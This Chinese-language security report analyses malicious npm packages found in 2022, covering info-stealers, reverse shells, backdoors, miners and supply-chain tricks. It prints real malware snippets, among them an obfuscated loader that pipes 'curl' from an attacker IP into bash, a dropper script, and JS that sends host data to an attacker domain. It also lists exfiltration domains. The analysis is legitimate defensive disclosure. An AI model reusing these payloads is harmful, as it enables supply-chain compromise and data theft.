一、前言

在各种开源软件生态中,npm生态是软件包数量最庞大、用户最为活跃的一个。得益于node.js等runtime的特性,Javascript语言在后端系统等方面也可以发挥其作用,并随着Typescript的发展,这一趋势愈发明显。在如此庞大的生态之下,针对其进行的软件供应链攻击从未停歇过。在2022年,奇安信技术研究院星图实验室研发的“天问”软件供应链安全分析平台对npm生态持续进行了多达650万次的安全分析,检测到了大量的恶意行为,发现了多起大型软件供应链攻击事件。

通过2022年一整年的监测分析,天问平台共计发现6,924个npm恶意包。通过深入分析这些恶意包,我们将其大致分为四类:信息窃取、反弹shell、后门木马、挖矿病毒。

二、整体趋势

在过去的一整年中,针对npm生态的软件供应链攻击呈现出持续化、自动化、隐蔽化的趋势。天问平台在四个季度分别发现了2,014、1,797、2,338、775个恶意包。

其中Q1、Q2、Q3季度均发生了大型供应链攻击事件,由同一攻击者利用自动化手段上传了大量相似行为的恶意包, 详细分析可见历史分析报告【天问】Node.CuteBoi:大规模供应链挖矿攻击持续追踪【天问】滥用Replit服务进行自动化挖矿。Q4季度未发现大型攻击事件,所以恶意包数量较前三季度减少。

Column-20230113

除此之外,针对npm生态的供应链攻击越来越隐蔽,从刚开始明显的恶意指令直接执行,到后面使用诸多类似:代码混淆、通过依赖组合攻击、反沙箱检测、借助第三方平台隐蔽流量等手段来对恶意行为进行隐藏,企图绕过安全检测。

三、恶意包分析

通过对发现的6,924个恶意包的分析后,根据其最终恶意行为的目的,我们将其大致分为了四类:信息窃取、反弹shell、后门木马、挖矿病毒。相关的典型案例如下。

3.1、信息窃取

针对npm生态的供应链攻击中,此类目的的恶意包最为常见,大约占据40%的数量。这些包的内容大都非常简单,且有统一的模板。在安装完这些恶意包之后,会自动执行恶意代码所在的脚本,脚本会收集系统和用户信息并回传,这些信息包含用户目录、用户名、DNS服务器等,有的恶意包还会将网卡信息、passwd文件内容等一同回传。下图所示为一个典型的信息窃取并回传的恶意包内容。

image-20230113151312360

这一类恶意包在刚开始时会使用非常简单直接的方式将受害者主机的信息进行回传,即在npm包的script字段直接执行系统命令。有关script字段的危害性和攻击手法的分析可见历史文章【天问】两周150+恶意包!npm供应链攻击手法分析

下图中展示了一个简单的通过script字段执行命令的恶意包,攻击者通过DNS请求将获得的hostname、passwd内容进行base64编码后回传到攻击者的机器上。

通过DNS回传相比较于普通的TCP协议回传更加具有隐蔽性,可以绕过许多通过流量分析进行的安全检测。在天问安全研究的历史文章中也对这部分内容进行分析过,详情可见【天问】Node.DNS:基于DNS隐蔽信道的自动化供应链攻击分析

image-20230113152214627

在这些信息窃取型的恶意包中使用了多种类型的回传地址接收信息,包括由第三方服务提供的信息接收平台,由burpsuite提供的代理网站,以及由攻击者自己搭建的服务及购买的域名等。通过对6,924个恶意包进行全面分析后,我们共发现了70个不同的回传地址域名,这些回传域名关联的恶意包数量如下图所示,具体的域名信息可见附录。其中使用最多的是pipedream.net,共有698个恶意包使用该地址进行了信息回传。

Pie-20230113 (1)

3.2、反弹shell

这一类的恶意包行为危害性最大,一旦攻击成功,攻击者可以立即拿到机器当前用户的权限,并可以通过提权在机器上以最高权限执行任意命令。不过,这一类的恶意包也相对容易被检测到,其危害行为特征明显,不易于达到隐蔽攻击的效果。

1. 恶意包cschandragirisample

如下图所示,在该恶意包cschandragirisample的script字段中直接写了反弹shelll的命令,一旦有用户安装这个包,该命令便会自动被执行,导致用户机器沦陷。

image-20230113154836588

2. 恶意包vital-neat-engine

除了在script字段中执行反弹shell命令,也可以在js脚本中以代码的形式获取反弹shell。例如在恶意包vital-neat-engine@0.0.4中,攻击者通过脚本执行反弹shell的指令来完成攻击。

image-20230113155838988

3.3、后门木马

这一类的恶意包,主要目的是在用户机器上释放并执行已经精心制作好的后门木马。相较于前两种方式,这种攻击方式成本较高,因为后门木马一旦被使用后,很快就会被安全分析人员逆向分析,提取其特征加入病毒库,下次再出现相同的木马很容易就会被识别出来。但这种攻击方式也有其优势,因为后门木马都是编译好的二进制程序,针对js及相关脚本的静态分析很难发现此类恶意行为。

在2022年初,国外安全研究团队披露了一个跨Windows, Linux, macOS三个平台的恶意软件SysJoker,并推测该恶意软件最初的攻击向量是一个受感染的npm包。通过天问软件供应链安全分析平台的分析,我们证明其最初的传播行为正是在npm生态中发生的。详细分析可见【天问】SysJoker:以npm软件供应链为攻击入口的跨平台恶意后门分析

3.3.1、wsrcsv攻击事件

在2022年4季度,我们发现了一个结合typosquatting在npm生态中进行后门木马传播的供应链攻击事件,因为这些恶意包最终都会释放恶意后门wsrcsv.exe,我们称其为wsrcsv攻击事件。

1. 上传大量typosquatting攻击包

天问平台在2022.10.2日发现用户“nsrvmzuq”在npm生态中上传了152个npm包,这些包的名称大多与一些下载量较高的热门npm包相似,且都有相同的恶意行为。下表展示了部分仿冒包的名称和对应的热门npm包,可见两者包名极其相似,很多开发者往往无法准确识别,很容易误用恶意包而被攻击。

恶意包 正常的流行包 正常包周下载量
psotcss-value-parser、potscss-value-parser、posctss-value-parser postcss-value-parser 30,402,449
micromathc、micromacth、micrmoatch micromatch 38,910,761
estravesre、estraveres、estarverse estraverse 45,017,510
glob-paretn、glob-parnet、glob-paernt glob-parent 44,451,101
string-witdh、string-wdith、string-iwdth string-width 58,958,116
tsilb、tlsib、tslbi tslib 94,377,701
igonre、ingore、ignroe ignore 31,252,902
unievrsalify、univesralify、univeraslify universalify 35,887,945

2. 利用Windows快捷方式攻击

这些包安装的时候都会自动执行位于包内的index.js脚本,该脚本会从Discord下载一个Windows的快捷方式文件,并将其执行。所以这些恶意包的攻击对象都是Windows系统。

image-20230104165845513

根据天穹沙箱的分析结果可以得知,该快捷方式在运行时会执行其包含在其中的脚本代码,调用Windows系统中的PowerShell再次从第三方托管平台下载一个vbs文件并执行。

image-20230104170352785

3. 利用vbs脚本绕过UAC,下载恶意后门至系统目录

根据天穹沙箱的分析结果结合人工分析,该vbs脚本执行后,会再次从第三方的托管平台下载一个恶意后门,并将其直接下载到系统目录下,提升后门的运行权限,进一步扩大其危害。

image-20230104171251458

4. 恶意后门wsrcsv.exe

根据天穹沙箱的动态分析结果及人工分析,该后门属于Quasar家族,会收集受害者的机器信息,并建立持久的C2连接。在本文发布时该后门文件以及上一步中的vbs均已无法下载,后门所连接的C2也不再活跃。

image-20230113162426521

3.3.2、ByPTR事件

2022年9月28日,天问平台监测到一起软件供应链攻击事件,由攻击者andlipoen 上传了一个名为chameleonbasic的恶意npm包,根据天文平台历史数据分析发现,该攻击者在同年3月也进行过攻击活动。由于攻击在攻击时多次使用了“.ByPTR”这个独具标识性的字符串,所以我们称其为ByPTR攻击事件。

在这次攻击中,攻击者对下载后门loader的js脚本进行了代码混淆处理,所获取的loader脚本执行后会下载真正的后门文件,后门被下载到受害者机器上后会被立即执行,脚本等待10s确保后门成功执行之后会删除下载的后门文件,提高攻击隐蔽性。

1. 通过混淆的js脚本获取需要执行的恶意bash命令

image-20230113165058993

攻击者首先上传了名为chameleonbasic的包, 并在scripts字段中执行了index.js恶意脚本,脚本内为编码后的代码:

1
const { exec } = require('\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73');var mFQH_HlTs1 = '\x63\x75\x72\x6c \x2d\x41 \x4f  \x2d\x6f\x2d \x2d\x4c \x68\x74\x74\x70\x3a\x2f\x2f\x31\x30\x36\x2e\x31\x33\x2e\x36\x33\x2e\x31\x38\x3a\x35\x30\x30\x33\x33\x2f\x61 \x7c \x62\x61\x73\x68 \x2d\x73';exec(mFQH_HlTs1, (err, stdout, stderr) => {    if(err) {        console["\x6c\x6f\x67"](err);        return;    }    console["\x6c\x6f\x67"](`stdout: ${stdout}`);    console["\x6c\x6f\x67"](`stderr: ${stderr}`);})

通过反混淆分析后,得到可读代码。 该js脚本会从远程URL地址获取需要执行的命令字符串并使用bash将其执行。

1
2
3
4
5
6
7
8
9
10
const { exec } = require('child_process')
var mFQH_HlTs1 = 'curl -A O -o- -L http://106.13.63.18:50033/a | bash -s'
exec(mFQH_HlTs1, (err, stdout, stderr) => {
if (err) {
console.log(err)
return
}
console.log(`stdout: ${stdout}`)
console.log(`stderr: ${stderr}`)
})

通过访问http://106[.]13[.]63[.]18:50033/a 获得执行的恶意bash命令如下:

1
mkdir /tmp/.ByPTR; rm -f /tmp/.ByPTR/update; curl -A O  -L http://106.13.63.18:50033/cIngDSpQKN -o /tmp/.ByPTR/update; chmod 755 /tmp/.ByPTR/update; /tmp/.ByPTR/update; sleep 10; rm -rf /tmp/.ByPTR/update

2. 通过恶意指令下载后门木马,执行后并删除

执行的命令后会在用户机器/tmp/.ByPTR目录下载一个ELF文件, 根据天穹沙箱的分析结果可知,该后门木马会窃取用户机器敏感信息(网络配置信息、passwd内容等)进行回传,并且会通过C2对沦陷主机进行持久控制。

image-20230113170704930

3. 相同攻击者6个月前的攻击行为

除了在2022年9月28日上传了chameleonbasic恶意包,该攻击者在6个月前也有其他攻击行为,在2022年3月23日,其上传了一个名为dobux-hooks的恶意包,该包主要恶意目的是信息窃取,并且在该恶意包内也包含了大量的混淆代码。可见攻击者的攻击时间跨度很大,攻击手法也在不断的演变,呈现出更加隐蔽和复杂的特性。

image-20230113171208170

在恶意包dobux-hooks@1.3.8中,安装该包后会自动执行build.js这个被混淆后的js脚本。通过反混淆分析后判定该脚本会收集系统的基本信息:系统架构信息、用户目录信息等,然后进行加密回传。该包中utils.js脚本就是实现加密逻辑的代码,同样的,这部分代码也被严重混淆了。

3.4、挖矿病毒

这一类恶意包的目的主要是窃取计算资源,让受害者的机器成为一个算力节点,为攻击者的矿池持续提供算力。在2022年6月和7月,npm生态中就发生了一起大规模的供应链挖矿软件投毒事件。不过与常见恶意包不同的是,这些挖矿软件利用了像Replit这种在线运行服务的系统资源来进行挖矿,其攻击手段更加巧妙,详细分析可见历史文章:【天问】Node.CuteBoi:大规模供应链挖矿攻击持续追踪【天问】滥用Replit服务进行自动化挖矿

四、攻击手法总结

除了较为常见的攻击手法,例如代码混淆、通过script进行命令执行、利用DNS进行隐蔽信息回传等之外,在过去一年中,针对npm生态的供应链攻击中又出现了一些更为隐蔽和高级的攻击手段。

4.1、利用DNS获取攻击指令

2022年10月31日,用户名为michaljaz的攻击者在npm生态中上传了一个名为nodexda的恶意包,该包会利用Google公开的DNS服务来解析一个域名,攻击者将恶意代码隐藏于域名的TXT类型解析的data字段中,由此达到隐蔽传输恶意指令的目的。

image-20230104174141149

在该包的代码中,攻击者利用Google提供的公共DNS解析服务解析了域名dkoqwdkoqk.duckdns.org,并根据其返回结果中data部分包含的信息获取恶意指令的效果。data字段的内容可以是任意的字符串,也就是意味这攻击者可以随意改变想要执行的命令。

image-20230104174620355

4.2、通过依赖包配合共同攻击

2022年9月17日,由攻击者上传了一个名为jqdc的恶意包。在安装恶意包jqdc的时候会执行一个包内的脚本,如果单独看这个包无法发现其恶意行为,因为它将恶意的执行代码通过包依赖的方式放在了另一个包内,且在这个依赖包内进行了加密处理,所以单独对这两个包进行静态分析都无法直接发现其恶意行为。

image-20230113183003716

在恶意包jqdc的install.js中,首先将解密的密钥设置为了环境变量,然后执行了从@jitoz/encrypted-tools中export出的内容。

image-20230113183100550

在包@jitoz/encrypted-tools中的connec.js中则包含了加密后的恶意代码及其执行逻辑。

image-20230113184155344

其中加密部分的内容解密后如下,其基本目的还是获取被攻击者主机的ip、host等信息然后进行回传。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
const os = require('os');
const https = require('https');

var __dirname;

const ip = [].concat(...Object.values(os.networkInterfaces()))
.filter(({ family, internal }) => family === "IPv4" && !internal)
.map(({ address }) => address)[0];

const host = os.hostname()
const path = __dirname;
const org = 'N/A'
const package = 'N/A'
const version = 'N/A'

data = {
ip,
host,
path,
org,
package,
version
}

body = JSON.stringify(data)
if (!(host.startsWith('aws-') || path.startsWith('/npm/node_modules') || path.startsWith('/app/node_modules') || host == 'instance')) {
var r = https.request({
hostname: 'dc.70.lc',
port: 443,
path: '/d',
method: 'POST',
headers: {
'Content-Length': body.length,
'Content-Type': 'application/json'
}
})
r.write(body)
r.end()

}

const t = async function () {
try {
await connect_server()
} catch (e) {
console.log('Error')
}
}

到目前为止,恶意包jqdc所依赖的包 @jitoz/encrypted-tools 仍然存在于npmjs 中,如果这两个包单独分析,任意一个都没有明显的恶意行为,只有两者组合到一起,攻击链才能达成。

这种组合依赖的的攻击方式在我们团队最新发布的论文《Investigating Package Related Security Threats in Software Registries》中也有提到,其中提出的攻击点R1(Package Reference Attack)就是对该攻击的系统性研究和测量。

4.3、利用dependencies进行网络请求

image-20230104161357196

由于npm包中的依赖声明支持解析http/https的资源,在dependencies字段中写入一个位于网络的的tarball也可以成功下载并作为一个依赖的包安装使用,所以攻击者利用这一点进行了一些测试行为。由此可见,这种攻击方式虽然较为明显,容易被发现,但确实可以用来在受害者的机器上发起TCP请求,获取受害主机的ip网段等敏感信息。

五、结语

针对npm生态的软件供应链攻击不断增多,作为当今最大的开源软件生态,如何尽可能地确保其安全性一直是安全研究人员的研究目标。综合本文对2022年npm生态供应链攻击的分析,我们可以看到攻击者的攻击行为越来越隐蔽,攻击手法也越来越刁钻。攻击者更加偏好于使用现在飞速发展的云服务来达成攻击链,更好地隐藏其恶意行为。这对npm生态供应链攻击及恶意包的检测的要求越来越高。天问软件供应链安全分析平台对npm生态中上传的npm包进行持续且实时地监测分析,结合静态分析和天穹沙箱动态分析的优势,以及通过大量恶意包深入分析得来的长期规则沉淀,大幅度降低了恶意包检测的误报率,提高了分析的精准度。最后,我们将持续关注npm生态的软件供应链安全问题,结合最近的研究成果,共同推动软件供应链安全的进步。

相关链接

附录:信息窃取型恶意包关联的回传域名

  • goldfish[.]dev[.]radsecau[.]com
  • ngllibmanager[.]commandtechno[.]workers[.]dev
  • gemgem103[.]com
  • michaelblake[.]dev
  • rover[.]apollo[.]dev
  • blueotter[.]info
  • burp[.]gdsburp[.]com
  • haxx[.]cc
  • bugbounty[.]click
  • a[.]heliohost[.]us
  • www[.]analytic-google[.]com
  • poc[.]tq[.]ag
  • melar[.]site
  • epicteam[.]fun
  • pipedream[.]net
  • webhook[.]site
  • oastify[.]com
  • oast[.]fun
  • addr-in[.]com
  • oscato[.]com
  • ngrok[.]io
  • burpcollaborator[.]net
  • oast[.]me
  • oast[.]online
  • oast[.]site
  • oast[.]pro
  • haxsterbughunter[.]com
  • cvshealth[.]com
  • 1433[.]eu[.]org
  • canarytokens[.]com
  • odiss[.]eu
  • beeceptor[.]com
  • dc[.]glc[.]st
  • api[.]npmjs[.]info
  • h4x[.]ninja
  • spacehog[.]net
  • 0iq[.]me
  • pp85kashemami[.]ok
  • linodeusercontent[.]com
  • poc[.]requestcatcher[.]com
  • e[.]examplesf[.]com
  • npmrepocdn[.]com
  • x1[.]pe
  • schnux[.]com
  • xikhud[.]tk
  • dc[.]70[.]lc
  • night[.]bastyon[.]com
  • thewhybee[.]com
  • kiluilo[.]site
  • requestbin[.]net
  • l0p[.]xyz
  • interaksiyon[.]online
  • bugbounty[.]one
  • localhost[.]gifts
  • kotko[.]org
  • confused[.]ssrf[.]bar
  • heliohost[.]us
  • dooracle[.]in
  • g0od[.]xyz
  • jon-test[.]site
  • makerdao[.]mapp[.]guru
  • cdntip[.]com
  • poc[.]arthurair[.]es
  • kotko[.]me
  • dhparadox[.]xyz
  • rifqihz[.]com
  • syzhack[.]com
  • attacker-site[.]co[.]uk
  • kohlsssg[.]com
  • ns1[.]npmrec[.]com